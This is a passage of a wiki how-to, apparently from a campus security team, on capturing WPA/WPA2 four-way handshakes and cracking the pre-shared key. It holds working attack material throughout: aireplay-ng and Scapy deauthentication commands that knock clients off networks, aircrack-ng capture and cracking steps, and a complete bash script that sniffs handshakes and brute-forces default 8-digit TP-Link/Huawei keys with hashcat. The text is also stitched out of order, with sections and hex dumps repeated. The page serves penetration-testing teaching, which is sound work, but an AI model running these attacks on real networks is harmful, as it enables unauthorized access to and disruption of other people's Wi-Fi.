0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* DSTIKE Deauther Watch V1

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T17:42:54Z

RSchuller: /* Capture Beacon */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.

sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

sudo airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.

sudo airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplicant

* Start in monitor mode

sudo airmon-ng start wlan0mon 9

Alternatively create a monitoring device by using:

sudo airmon-ng start wlan0

If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called "wlan0mon" or on a different setup <YOUR DEVICE NAME>mon. This is the actual monitoring device.

=== Capture Beacon ===

* using wireshark or airodump-ng

sudo airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

airmon-ng stop wlan0mon

* Restart network manager for internet access

service network-manager restart

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

